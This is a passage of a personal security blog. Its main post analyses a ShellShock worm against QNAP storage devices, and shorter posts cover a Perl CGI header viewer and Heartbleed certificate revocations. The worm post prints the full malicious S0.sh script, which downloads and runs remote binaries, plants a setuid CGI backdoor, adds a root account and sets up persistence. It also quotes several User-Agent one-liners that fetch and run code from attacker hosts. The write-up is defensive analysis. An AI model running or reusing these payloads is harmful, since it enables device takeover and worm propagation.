A little ShellShock fun

Recently I had the good luck to be the victim of an attack/probe that attempted to exploit the ShellShock (aka bash-shell) vulnerability.  Of course it didn't work, but it was fun to poke at.

The initial attack consisted of a connection to a web server with a bash exploit embedded in the HTTP header:

URL: "/cgi-bin/authLogin.cgi"  
HTTP header included: "User-Agent: () { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 " 

This looks like fun! 

It's very clear here what the exploit it trying to do.  The User-Agent is passed to the application as an environment variable.  This sets up the bash vulnerability, which proceeds to executes code to delete any previous copies of itself, grab a copy of S0.sh from a distribution point aand execute it.  Let's also grab a copy and see what we get.


First though, let's think about safety for a second.  We know this is a malicious attack, so we have to assume that there might be some nasty surprises to be found.  Here are some of the precautions that I took (you may decide to take others)

1. The initial attack appears to be a simple shell script, so it should be safe to download and view.  Despite that, I spun up a VM with no sensitive data or access, to work on this.  Probably overly paranoid, but don't forget that /bin/less was recently compromised.
2. In the spirit of being paranoid, I decided not to expose an IP address I care about to the attacker.  If the attacker wants to, he/she might be able to determine from their logs when non-infected machines connect to there server.  No point in giving them a more interesting target to attack.
3. If I were to get to the point of executing malicious code (which, in this case, I didn't) I would be even more paranoid about building a stand-alone environment.

So after taking these precautions, I grabbed a copy of S0.sh (see the listing below) and started to look.

The good news is that they didn't try to obfuscate the code.  In fact, we'll see there are even a few comments left.

Line 3 looks to me like an attempt to cover their tracks a bit.  There won't be any tell-tale commands floating around an an account's command line history.

Line 5 is the first really interesting part.  Interestingly, this is the same IP that the initial exploit downloaded S0.sh from.  In my copy of the exploit, this address resolves to gaspolo.uaservers.net.  Doing a quick web search for this hostname brings up a record on a blacklist site where somebody complained three days ago about "hacking" from that site.   It's nice to see that I'm not alone.  :-)

S0.sh consists of two main parts ... the first part does the initial setup and downloads additional programs, and then the second part installs the worm and executes some additional commands.

On line 10 we can see that they're starting to make decisions based on the architecture of the machine running S0.sh.  Lines 10 - 90 handle downloading the new programs and setting up the environment for them to run in (for the ARM architecture).   Lines 91-176 handle Intel 686 processors (essentially 32 bit Intel) and lines 177 - 226 are for 64 bit Intel machines.  Although the sections are different in some ways, they're essentially the same:

• They download two files, and install them on the machine
• They set up a script "autorun" to run those two files. 
• For the ARM and 686 architectures, they install a package manager (the "Itsy" package manager)
• They start ssh on port 26 (e.g. see line 168)

In the second part of the script, which begins around line 227, all three architectures run the same code

• They add an account named "request" (on line 233)
• I'm running John against the password hash.  But I don't have a 31337 password cracking rig so I don't expect much. :-)
• They install a patch against the ShellShock bug (see line 246)
• I believe this is why they installed the Itsy package manager
• If it's not already there, they download a program named "run" to a hidden directory, which they then run (line 252, 263)
• A comment (line 250) implies this is the scanner
• They reboot the machine

Unfortunately, my analysis of this script is limited and ends here.  By the time I got around to trying to analyze this script, the server which provides the downloaded files was no longer responding.  Either the load of providing these files to all the infected machines has overwhelmed it, it's being subject to a DOS attack, or it's been taken down.  Given that my download attempts timed out, versus my getting a file not found or a RST, I tend to favor the first two theories.  In any event, I was unable to grab a copy of the other files from this server.

Note BTW the comment on line 6, which hints at another possible site to get this software.  Do Not Just Blindly Go There!  Attempts to collect the files from there just produce an attempt by that site to redirect you to a known malicious site, bodisparking.com. 

Based on the patch which is installed, it's clear that this worm is trying to compromise QNAP devices (qnap.com ).   QNAP is a provider of network storage devices, including devices intended for home or small business use.   While it seems likely that compromised QNAP devices are being used to scan for more victims (the reference to scan on line 250), it remains unclear what additional use the attackers make of compromised machines.

One final bit of information: The server which was attacked with this script, actually has seen several other identical attacks from numerous sources.  However, no other machines "nearby" it have been attacked.  That's a bit odd, normally attackers try an attack and then move on, they don't keep hitting the same machine with the same attack.  My guess is that the compromised machines form a botnet which is where the attacks originate from.  However if the command & control server is unreachable (which is implied by the download server timing out), the servers are all stuck scanning the same list of addresses instead of receiving updated scanning instructions.... resulting in my one server being hit repeatedly.

Update 12/21/2014: So the line of reasoning above turns out to be completely wrong.  Based on a suggestion, I dug deeper and was surprised to discover that only one of the many Internet facing servers actually listens on port 8080, so it's the only one which is seeing this probe.  Sometimes, the explanation to something is *way* simpler than you expect.  :-)

So that's it.  The investigation accomplished my primary objective, which was to assess the risk of this attack to the machine being attacked.  I can safely say that the machine being attacked by this worm is not at risk.

My secondary goal was to understand why the machine was being attacked, and to learn something about the methods and intentions of the attackers.  In that goal I was less successful, primarily because I did not succeed in obtaining and analyzing the complete attack package.  But I still learned a lot, and had a lot of fun!

I also learned a good lesson ...  when something like this comes along, you need to jump on it quickly.  The infrastructure associated with an attack is ephemeral, and if you're not prepared ahead of time, and don't investigate it quickly, you may lose your chance. Build that spare VM now!  And think through ahead of time what you're going to do when something like this comes along!

Here's the actual code in S0.sh, which is the code that would be executed if the initial ShellShock attack had succeeded.  The only change I've made is to add line numbers.

 

  1: #!/bin/sh
  2: export PATH=/opt/sbin:/opt/bin:/usr/local/bin:/bin:/usr/bin:/usr/sbin:/mnt/ext/usr/bin:/mnt/ext/usr/local/bin
  3: unset HISTFIE ; unset REMOTEHOST  ; unset SHISTORY ; unset BASHISTORY
  4: os=`uname -m`
  5: ip=185.14.30.79
  6: #wget -P /tmp/  http://qupn.byethost5.com/gH/S0.sh ; cd /tmp/ ; chmod +x S0.sh ; sh S0.sh
  7: #
  8: #
  9: fold=/share/MD0_DATA/optware/.xpl/
 10: if [[ "$os" == 'armv5tel' ]]; then
 11:  echo "nameserver 8.8.8.8" >> /etc/resolv.conf
 12:  mkdir -p /share/MD0_DATA/optware/
 13:  mkdir -p /share/MD0_DATA/optware/.xpl/
 14: wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/.cgi
 15: wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/.cgi
 16: wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/armgH.cgi
 17:   
 18: busybox wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/.cgi
 19: busybox wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/.cgi
 20: busybox wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/armgH.cgi
 21: wget -c -P /home/httpd/cgi-bin/  http://$ip/armgH.cgi
 22: busybox wget -c -P /home/httpd/cgi-bin/  http://$ip/armgH.cgi 
 23:    chmod +x ${fold}.cgi
 24:    chmod 4755 /home/httpd/cgi-bin/armgH.cgi
 25: mv /home/httpd/cgi-bin/armgH.cgi /home/httpd/cgi-bin/exo.cgi
 26: cp /home/httpd/cgi-bin/exo.cgi  ${fold}.exo.cgi
 27: sleep 1
 28: mount -t ext2 /dev/mtdblock5 /tmp/config
 29: sleep 2
 30: echo "/share/MD0_DATA/optware/.xpl/.cgi" >> /tmp/config/autorun.sh
 31: echo " " >> /tmp/config/autorun.sh
 32: echo "cp /share/MD0_DATA/optware/.xpl/.exo.cgi /home/httpd/cgi-bin/exo.cgi" >> /tmp/config/autorun.sh
 33:    sort -u /tmp/config/autorun.sh >> /tmp/a
 34:    mv /tmp/a /tmp/config/autorun.sh
 35:    chmod +x /tmp/config/autorun.sh
 36: echo "sleep 30 && cp -f /opt/sbin/sshd /usr/sbin/sshd && /opt/etc/openssh/sshd_config /etc/ssh/sshd_config && /usr/sbin/sshd -f /etc/ssh/sshd_confg -p 26 & " >> /tmp/config/autorun.sh
 37: echo "sleep 200 && sh `echo ${fold}run` &" >> /tmp/config/autorun.sh
 38: echo 'cp /etc/resolv.conf /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
 39: echo 'cp /etc/hostname /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
 40: echo 'cp /etc/TZ /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
 41: echo 'cp /etc/config/passwd /etc/config/group /etc/config/shadow /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
 42: echo 'rm -rf /opt' >> /tmp/config/autorun.sh
 43: echo 'ln -sf /share/MD0_DATA/optware/opt /opt' >> /tmp/config/autorun.sh
 44: echo '' >> /tmp/config/autorun.sh
 45: echo 'mount -o bind /dev /share/MD0_DATA/optware/dev' >> /tmp/config/autorun.sh
 46: echo 'mount -o bind /proc /share/MD0_DATA/optware/proc' >> /tmp/config/autorun.sh
 47: echo 'mount -o bind /proc/bus/usb /share/MD0_DATA/optware/proc/bus/usb' >> /tmp/config/autorun.sh
 48: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qmultimedia' >> /tmp/config/autorun.sh
 49: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qdownload' >> /tmp/config/autorun.sh
 50: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qusb' >> /tmp/config/autorun.sh
 51: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qweb' >> /tmp/config/autorun.sh
 52: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Public' >> /tmp/config/autorun.sh
 53: echo '# adding Ipkg apps into system path ...' >> /tmp/config/autorun.sh
 54: 
 55: echo "export PATH=/opt/sbin:/opt/bin:/usr/local/bin:/bin:/usr/bin:/usr/sbin:/mnt/ext/usr/bin:/mnt/ext/usr/local/bin " >> /tmp/config/autorun.sh
 56: 
 57:  cp -af /share/MD0_DATA/optware/Optware-ipkg.sh /share/MD0_DATA/optware.foo/Optware-ipkg.sh
 58:  mkdir -p /share/MD0_DATA/optware/opt
 59:  mkdir /share/MD0_DATA/optware/ipkglib
 60:  cd /
 61:  cp -fr /opt/* /share/MD0_DATA/optware/opt/
 62:  ln -sf /share/MD0_DATA/optware/ipkglib /usr/lib/ipkg
 63:  ln -sf /share/HDA_DATA/optware/ipkglib /usr/lib/ipkg
 64:  rm -rf /opt
 65:  ln -sf /share/MD0_DATA/optware/opt /opt
 66:  cd /share/MD0_DATA/optware/opt 
 67: wget -c http://ipkg.nslu2-linux.org/feeds/optware/cs05q3armel/cross/unstable/ipkg-opt_0.99.163-10_arm.ipk
 68:  tar -xOvzf ipkg-opt_*_arm.ipk ./data.tar.gz | tar -C / -xzvf -
 69: echo 'src cs05q3armel http://ipkg.nslu2-linux.org/feeds/optware/cs05q3armel/cross/stable' >> /opt/etc/ipkg.conf
 70: /opt/bin/ipkg update
 71:  cd /share/MD0_DATA/optware 
 72: /opt/bin/ipkg update 
 73: echo '#!/bin/sh' >> /usr/bin/ipkg
 74: echo 'echo "${$1}lling"'>> /usr/bin/ipkg
 75: echo '/opt/bin/ipkg install  $2 --tmp-dir=/share/MD0_DATA/ '>> /usr/bin/ipkg
 76: chmod 777 /usr/bin/ipkg
 77: ipkg install openssh
 78: sleep 1
 79:  cp -f /opt/sbin/sshd /usr/sbin/sshd
 80:  cp -f /opt/etc/openssh/sshd_config /etc/ssh/sshd_config
 81: sleep 2
 82: /usr/sbin/sshd -f /etc/ssh/sshd_confg -p 26
 83:   cd /
 84:   umount /tmp/config
 85: 
 86:  rm -fr /mnt/update /mnt/HDA_ROOT/update
 87:  umount /mnt/update
 88: 
 89: sleep 1
 90:  rm -fr /mnt/update
 91: elif [[ "$os" == 'i686' ]]; then 
 92:  echo "nameserver 8.8.8.8" >> /etc/resolv.conf
 93:  mkdir -p /share/MD0_DATA/optware/ $fold
 94: 
 95:  
 96: wget -c -P $fold http://$ip/..32
 97: wget -c -P $fold http://$ip/gH.cgi
 98: 
 99: busybox wget -c -P $fold http://$ip/..32
100: busybox wget -c -P $fold http://$ip/gH.cgi
101:  chmod 4755 ${fold}gH.cgi 
102:  chmod 777 ${fold}..32
103: mv ${fold}gH.cgi ${fold}.exo.cgi
104: cp -fr ${fold}.exo.cgi /home/httpd/cgi-bin/exo.cgi
105: 
106: mount /dev/sdx6 /tmp/config
107: echo "`echo ${fold}`..32" >> /tmp/config/autorun.sh
108:    sort -u /tmp/config/autorun.sh >> /tmp/a
109:    mv /tmp/a /tmp/config/autorun.sh
110: echo "cp `echo ${fold}`.exo.cgi /home/httpd/cgi-bin/exo.cgi " >> /tmp/config/autorun.sh
111:    chmod 777 /tmp/config/autorun.sh
112:    cd /
113: 
114: 
115: umount  /tmp/config
116: PUF=`ls -a /dev/s* | grep -v 1 | grep  6 `
117: echo $PUF >> /tmp/az1
118: for LINE in `cat /tmp/az1`; do PAte=`echo $LINE `; /bin/mount -t ext2 $PAte  /tmp/config ; /bin/sleep 1  ; done 
119: export PATH=/opt/sbin:/opt/bin:/usr/local/bin:/bin:/usr/bin:/usr/sbin:/mnt/ext/usr/bin:/mnt/ext/usr/local/bin
120: echo "`echo ${fold}`..32" >> /tmp/config/autorun.sh
121:   cat /tmp/config/autorun.sh | sort -u >> /tmp/a
122:   mv /tmp/a /tmp/config/autorun.sh
123:   cat /tmp/config/autorun.sh | grep -v exo >> /tmp/o
124: echo "cp `echo ${fold}`.exo.cgi /home/httpd/cgi-bin/exo.cgi " >> /tmp/o
125:   mv /tmp/o /tmp/config/autorun.sh
126:   chmod +x /tmp/config/autorun.sh
127: echo 'cp /etc/resolv.conf /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
128: echo 'cp /etc/hostname /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
129: echo 'cp /etc/TZ /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
130: echo 'cp /etc/config/passwd /etc/config/group /etc/config/shadow /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
131: echo 'rm -rf /opt' >> /tmp/config/autorun.sh
132: echo 'sleep 2' >> /tmp/config/autorun.sh
133: echo 'ln -sf /share/MD0_DATA/optware/opt /opt' >> /tmp/config/autorun.sh
134: echo '' >> /tmp/config/autorun.sh
135: echo 'mount -o bind /dev /share/MD0_DATA/optware/dev' >> /tmp/config/autorun.sh
136: echo 'mount -o bind /proc /share/MD0_DATA/optware/proc' >> /tmp/config/autorun.sh
137: echo 'mount -o bind /proc/bus/usb /share/MD0_DATA/optware/proc/bus/usb' >> /tmp/config/autorun.sh
138: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qmultimedia' >> /tmp/config/autorun.sh
139: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qdownload' >> /tmp/config/autorun.sh
140: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qusb' >> /tmp/config/autorun.sh
141: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qweb' >> /tmp/config/autorun.sh
142: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Public' >> /tmp/config/autorun.sh
143: echo '# adding Ipkg apps into system path ...' >> /tmp/config/autorun.sh
144: echo "export PATH=/opt/sbin:/opt/bin:/usr/local/bin:/bin:/usr/bin:/usr/sbin:/mnt/ext/usr/bin:/mnt/ext/usr/local/bin:/usr/bin/X11:/usr/local/sbin " >> /tmp/config/autorun.sh
145: 
146:  mkdir -p /share/MD0_DATA/optware/opt
147:  mkdir /share/MD0_DATA/optware/ipkglib
148:  cd /
149:  cp -fr /opt/* /share/MD0_DATA/optware/opt/
150:  ln -sf /share/MD0_DATA/optware/ipkglib /usr/lib/ipkg
151:  rm -rf /opt
152:  ln -sf /share/MD0_DATA/optware/opt /opt
153:  cd /share/MD0_DATA/optware/opt
154: wget -c http://ipkg.nslu2-linux.org/feeds/optware/i686g25/cross/unstable/ipkg-opt_0.99.163-10_i686.ipk
155:  tar -xOvzf ipkg-opt_*_i686.ipk ./data.tar.gz | tar -C / -xzvf -
156: echo 'src i686g25 http://ipkg.nslu2-linux.org/feeds/optware/i686g25/cross/unstable/' >> /opt/etc/ipkg.conf
157: /opt/bin/ipkg update
158:  cd /share/MD0_DATA/optware
159: echo '#!/bin/sh' >> /usr/bin/ipkg
160: echo 'echo "${$1}lling"'>> /usr/bin/ipkg
161: echo '/opt/bin/ipkg install  $2 --tmp-dir=/share/MD0_DATA/ '>> /usr/bin/ipkg
162:  chmod 777 /usr/bin/ipkg
163: ipkg install openssh
164: sleep 2
165:  cp -f /opt/sbin/sshd /usr/sbin/sshd
166:  cp -f /opt/etc/openssh/sshd_config /etc/ssh/sshd_config
167: sleep 1
168: /usr/sbin/sshd -f /etc/ssh/sshd_confg -p 26
169: echo "sleep 200 && sh `echo ${fold}run` &" >> /tmp/config/autorun.sh
170: echo "sleep 80 && cp -f  /opt/etc/openssh/sshd_config /etc/ssh/sshd_config && cp -f /opt/sbin/sshd /usr/sbin/sshd && /usr/sbin/sshd -f /etc/ssh/sshd_confg -p 26 &" >> /tmp/config/autorun.sh
171:                 cd /
172:  umount  /tmp/config
173:  sleep 1
174: 
175: 
176: 
177: elif [[ "$os" == 'x86_64' ]]; then
178:   echo "nameserver 8.8.8.8" >> /etc/resolv.conf
179: #  mkdir -p $fold
180:    
181: wget -P $fold http://$ip/..64
182: wget -P $fold http://$ip/64.cgi
183:  cp ${fold}64.cgi /home/httpd/cgi-bin/exo.cgi
184:  mv ${fold}64.cgi ${fold}.exo.cgi
185:   chmod +x ${fold}..64
186:   chmod 4755 ${fold}64.cgi
187: mount -t ext2 /dev/sdk6 /tmp/config
188:   sleep 2
189:   echo "cp `echo ${fold}`.exo.cgi /home/httpd/cgi-bin/exo.cgi " >> /tmp/config/autorun.sh
190:                         chmod 777 /tmp/config/autorun.sh
191:    echo "`echo ${fold}`..64" >> /tmp/config/autorun.sh
192:   cd /
193: umount /tmp/config
194: rm -fr /tmp/config/autorun.sh
195: mount /dev/sdx6 /tmp/config
196: sleep 2
197:                 echo "cp `echo ${fold}`.exo.cgi /home/httpd/cgi-bin/exo.cgi " >> /tmp/config/autorun.sh
198:                         chmod 777 /tmp/config/autorun.sh
199:                         echo "`echo ${fold}`..64" >> /tmp/config/autorun.sh
200:                 cd /
201: umount /tmp/config
202: rm -fr /tmp/config/autorun.sh
203: mount -t ext2 /dev/sdg6 /tmp/config
204: sleep 2
205:                 echo "cp `echo ${fold}`.exo.cgi  /home/httpd/cgi-bin/exo.cgi "  >> /tmp/config/autorun.sh
206:                         chmod 777 /tmp/config/autorun.sh
207:                         echo "`echo ${fold}`..64" >> /tmp/config/autorun.sh
208:                 cd /
209: umount /tmp/config
210: rm -fr /tmp/config/autorun.sh
211: 
212: PUF=`ls -a /dev/s* | grep -v 1 | grep  6 `
213: echo $PUF >> /tmp/az1
214: for LINE in `cat /tmp/az1`; do PA9=`echo $LINE `; /bin/mount -t ext2 $PA9  /tmp/config ; /bin/sleep 1  ; done
215: /bin/sleep 1
216: export PATH=/opt/sbin:/opt/bin:/usr/local/bin:/bin:/usr/bin:/usr/sbin:/mnt/ext/usr/bin:/mnt/ext/usr/local/bin
217:   sort -u /tmp/config/autorun.sh >> /tmp/config/aa
218:   /bin/mv /tmp/config/aa /tmp/config/autorun.sh 
219: echo "cp `echo ${fold}`.exo.cgi  /home/httpd/cgi-bin/exo.cgi "  >> /tmp/config/autorun.sh
220: chmod 777 /tmp/config/autorun.sh
221: echo "`echo ${fold}`..64" >> /tmp/config/autorun.sh
222: cd /
223: cat /tmp/config/autorun.sh | grep -v exo >> /tmp/o
224: echo "cp `echo ${fold}`.exo.cgi /home/httpd/cgi-bin/exo.cgi " >> /tmp/o
225: umount /tmp/config
226:  fi
227: 
228:  Search="request"
229:  Files="/etc/passwd"
230:  if grep $Search $Files; then
231:   echo "$Search user its just added!"
232:  else
233:   echo "request:x:0:0:request:/share/homes/admin:/bin/sh" >> /etc/passwd
234:   echo 'request:$1$$PpwZ.r22sL5YrJ1ZQr58x0:15166:0:99999:7:::' >> /etc/shadow
235:  fi
236: 
237: 
238: #conf group
239: TETTE=`cat /etc/group | grep administra`
240: printf "$TETTE,request" >> /tmp/g
241:  cat /etc/group | grep -v adminis >> g
242:  mv g /etc/group 
243:  chmod 777 /etc/group
244: #inst patch
245: 
246: wget -P /mnt/HDA_ROOT/update_pkg/ http://eu1.qnap.com/Storage/Qfix/ShellshockFix_1.0.2_20141008_all.bin
247:  chmod +x /mnt/HDA_ROOT/update_pkg/ShellshockFix_1.0.2_20141008_all.bin
248: /mnt/HDA_ROOT/update_pkg/ShellshockFix_1.0.2_20141008_all.bin
249: 
250: #inst scan
251: sfolder="/share/HDB_DATA/.../"
252: url69="http://185.14.30.79/run"
253: #t -P 
254: if [ ! -f $sfolder ];then
255: mkdir -p $sfolder
256: cd $sfolder
257: wget $url69 
258: wget $url69 -P ${fold} -q
259: chmod +x ${sfolder}run ${fold}run
260: #sh run &
261: fi
262: cd $fold
263: sh run &
264: 
265: #`echo ${fold}`
266: 
267: busybox reboot
268: /bin/reboot
269: /sbin/reboot
270:  rm  $0
271:  rm -fr /tmp/S1.sh /tmp/S2.sh /tmp/az1 /tmp/config/autorun.sh /tmp/o  /tmp/S0.sh
272: exit

Here are some references:

As usual, SANS is all over this one.  Here's their analysis of what appears to be the same worm:
https://isc.sans.edu/diary/Worm+Backdoors+and+Secures+QNAP+Network+Storage+Devices/19061

The devices being attacked: http://www.qnap.com/

Article about other worms attacking the same devices: http://www.pcworld.com/article/2690932/shellshock-attacks-target-qnaps-network-storage-fireeye-says.html

Another article about other worms attacking the same devices:  https://www.fireeye.com/blog/threat-research/2014/10/the-shellshock-aftershock-for-nas-administrators.html

A couple of explanations of the ShellShock vulnerability:
http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html
http://en.wikipedia.org/wiki/Shellshock_(software_bug)

The package utility the worm uses: http://en.wikipedia.org/wiki/Ipkg

Info on the malicious site (bodisparking.com) you're sent to if you contact the host in the comment (qupn.byethost5.com) : http://www.enigmasoftware.com/bodisparkingcom-removal/
Don't do it!

---

Update 12/21/2014: Since the original posting, I have seen several variations of this same attack.  They all utilized the same attack vector (URL is "/cgi-bin/authLogin.cgi", the attack is embedded in the "User-Agent" header).  While they are different, they are all still trying to run a version of S0.sh described above.

() { :; }; /bin/rm -rf /tmp/S0.php /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c http://x3q.altervista.org/gH/S0.php -O /tmp/S0.sh && /bin/sh /tmp/S0.sh && sh S0.php 0<&1 2>&1   & 
  
() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c http://qupn.byethost5.com/gH/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1   

() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1
When I checked the download server for each of these attacks, it was already either down or not providing these files anymore.

However, as of this writing (12/21/2014 @ 15:10 UTC) the download server for this attack was still responding:

() { :; }; /bin/rm -rf /tmp/S0.php && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c  http://192.192.78.216:9090/gH/S0.php -O /tmp/S0.sh  && /usr/bin/wget -c  http://192.192.78.216:9090/gH/S0.php -P /tmp && /bin/sh /tmp/S0.php 0<&1 2>&1

I have no idea how much longer that server will remain up until it's shutdown.  (I have sent a notification to the best contact I could find.)

Reviewing the S0.php script from this attack shows that "S0" has evolved, some sections of code have been rewritten, but the ultimate functionality is unchanged.

Finally, here's my favorite one so far:

() { :; }; /bin/rm -rf /tmp/io.php && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -q -c http://nyo2k2.altervista.org/io.php -P /tmp && /bin/rm /tmp/io.php 0<&1 2>&1

Why my favorite?  Compare it to the others ... instead of using /bin/sh to run the attack script, it uses /bin/rm to delete it!  This has got to be a bug; perhaps a test version which made it into the wild or perhaps the result of some weird data corruption which is occurring somehow.  But the overall result is that this version will not propagate itself.

Fun stuff!

BTW, thanks to Erich, who's also been looking at this worm and has been generous with the insights he's gleaned about it.

Just to check

So now we're being reminded that by default our ISP has the ability to both view and modify the traffic we entrust to them.

http://webpolicy.org/2014/10/24/how-verizons-advertising-header-works/

No big shock, but it's still disappointing (at least to me.)  The obvious solution is to use a VPN or other encryption (always SSL?) to prevent tampering with your traffic (when possible.)

Since it's likely that other providers are doing something similar, or will decide to at some time in the future, I decided I wanted an easy way to check for HTTP header tampering.

The result is this script, which simply prints what Apache is able to deduce about a connection.  There must be 1 or 2 million sites which do the same sort of thing, but I wanted one that I control!  And of course, my wheel is rounder any anyone else's.  :-)

There's actually a bit of code which highlights the Verizon Universal ID hash if it's present.  I'll update this if I find out how other providers are also doing this sort of thing  (done ... see below.)

You can try it out at: http://www.sekur1ty.org/foo/bar.pl

(BTW, if you're checking your phone connection, make sure you're not using a WIFI connection when you try this.)

Here's the code:

 

#!/usr/bin/perl -w -t

# Simple CGI program to return what Apache reports about the client and the HTTP request received.

print "Content-type: text/html\n\n";
print "Here is everything that I know about you ...<br><br>";

$DoLog = 0;
if ($ENV{"QUERY_STRING"} =~ /\s*log\s*=\s*yes/i){
    $DoLog = 1;
    open LOG, ">>/tmp/bar.log";
    @ltime = localtime(time);   # Wed Oct 29 01:31:47 UTC 2014
    $Time = sprintf ("%02i/%02i/%04i %02i:%02i:%02i",$ltime[4],$ltime[3],$ltime[5]+1900,$ltime[2],$ltime[1],$ltime[0]);
    print LOG "----------------------------------------\n";
    print LOG "$Time\n";
    print "<b>You have requested the uber secret log option. This will save a record of this connection info.</b><br><br>";
}

print "This is info not directly in the HTTP header, some comes directly from the server (e.g. SERVER_ADDR) and some is derived from your connection (such as REMOTE_ADDR)<br><br>";
# Print the non-header info first, followed by the HTTP header info
print "<code>";
foreach my $key (keys %ENV) {
    if ($key !~ /HTTP_/){
 &do_print ($key);
    }
}

print "</code>";
print "<br>This is what was found in the HTTP header of the request. <i>(Note: Verizon, ACR and other potential tracking hashes highlighted if present.)</i><br><br>";

print "<code>";
foreach my $key (keys %ENV) {
    if ($key =~ /HTTP_/){
 &do_print ($key);

    }
}
print "</code>";

sub do_print {   # filter out a few characters and print
    my $key = pop();
    my $value = $ENV{$key};

    if ($DoLog){
 print LOG "$key: $value\n";
    }

    $value =~ s/\&/&amp;/g;
    $value =~ s/>/&gt;/g;
    $value =~ s/</&lt;/g;
    $value =~ s/\"/&quot;/g;
    $value =~ s/\'/&apos;/g;
    $value =~ s/\`/&#0096;/g;

    if ($key =~ /uid|acr|msisdn|subno/i){  # verizon hash is UIDH, others are ACR etc, match on just uid & acr to catch variations
 print "<b>$key: $value</b><br>";
    }
    else{
 print "$key: $value<br>";
    }


}

Update (10/28/2014): It turns out that variations of -X-ACR (Anonymous Customer Record) are also being used.  I've updated the program to flag those and a few others I've read about ... see below.

http://blog.jgc.org/2012/02/mobile-subscriber-leakage-in-http.html


The ACR value appears to be based on a draft RFC:
http://tools.ietf.org/html/draft-uri-acr-extension-04
http://www.gsma.com/oneapi/anonymous-customer-reference-beta/

Update (11/13/2014): Just to rub our noses in fact that our data can (and is) being modified after we send it across the Internet ... It turns out that Cisco devices have a default setting to modify SMTP (email) sessions to prevent the negotiation of SMTP over TLS (i.e. email across an encrypted connection.)  This is related to the joy above, since the Cisco actually modifies the data that has been sent, fooling one side of the conversation into believing that the other did is refusing to support TLS.

Why does Cisco do this by default?  It turns out the Cisco device wants to inspect the SMTP sessions to prevent malicious activity, and of course it can't do that if the session is encrypted.  Most likely they do this with good intentions, but in today's environment, this is just screaming conspiracy all over the place.  For example:
http://arstechnica.com/tech-policy/2014/11/condemnation-mounts-against-isp-that-sabotaged-users-e-mail-encryption/

In fact, it's a somewhat obscure, but still easily found "feature" on Cisco firewalls:

https://stomp.colorado.edu/blog/blog/2012/12/31/on-smtp-starttls-and-the-cisco-asa/

http://www.cisco.com/c/en/us/td/docs/security/asa/asa-command-reference/I-R/cmdref2/i2.html#pgfId-1765148

So while it seems that in this case folks are just trying to do the right thing, they are still willy-nilly changing what we send out across the Internet "for our own good."

Update (10/7/2015): Almost a year after I wrote this, and the problem has only gotten worse.  Verizon has just entered into an arrangement with AOL to merge their profile data (essentially who you are) with AOL's huge database of our browsing habits (derived from AOL's substantial ad network.)  I guess this shouldn't be a surprise, since Verizon bought AOL earlier this year.  I imagine this is exactly why they made that purchase.

This does make me wonder what's next.  If I were to pay a bill by postal mail, perhaps Verizon could extract a DNA sample from the envelope?  Maybe they can work out an exchange with China for the OPM data?   :-)

Here are all the sordid details: https://www.propublica.org/article/verizons-zombie-cookie-gets-new-life

As the Heart Bleeds (A new cryptographic soap opera)

By now, I'm sure you've heard of HeartBleed.  If not, you've missed a fun time. A good description of what it's all about is at: http://blog.cryptographyengineering.com/2014/04/attack-of-week-openssl-heartbleed.html

One of the "interesting" aspects of this vulnerability is that it places the private SSL certificate for the server at risk.  At first, there was some doubt as to just how vulnerable the private certificate really was, but as of 4/12/2014, the vulnerability of a server's private certificate has been clearly demonstrated: http://arstechnica.com/security/2014/04/private-crypto-keys-are-accessible-to-heartbleed-hackers-new-data-shows/

The first person to publicly demonstrate that the private certificate is vulnerable, Fedor Indutny (https://twitter.com/indutny), also had a snippet of code on his twitter feed showing how to grab and view certificate revocation lists (CRL).  

I was idly curious ... since we now know that any server's private certificate has potentially been compromised ... how many folks have started to revoke their server's SSL certificates?

Below is the results of the hint provided by Indutny, and a bit of Perl.  The vertical axis is the number of certificates revoked on a given day, with time flowing from the left to the right.

Here we can see the number of certificates revoked over the past two years (see updates below for discussion of the spike around 4/16):

And here we can see the activity over the past month.  Since we know that some folks received advanced notification of the vulnerability, I was especially interested to know if there a spike in revocations prior to the announcement.  (Which I don't see.)

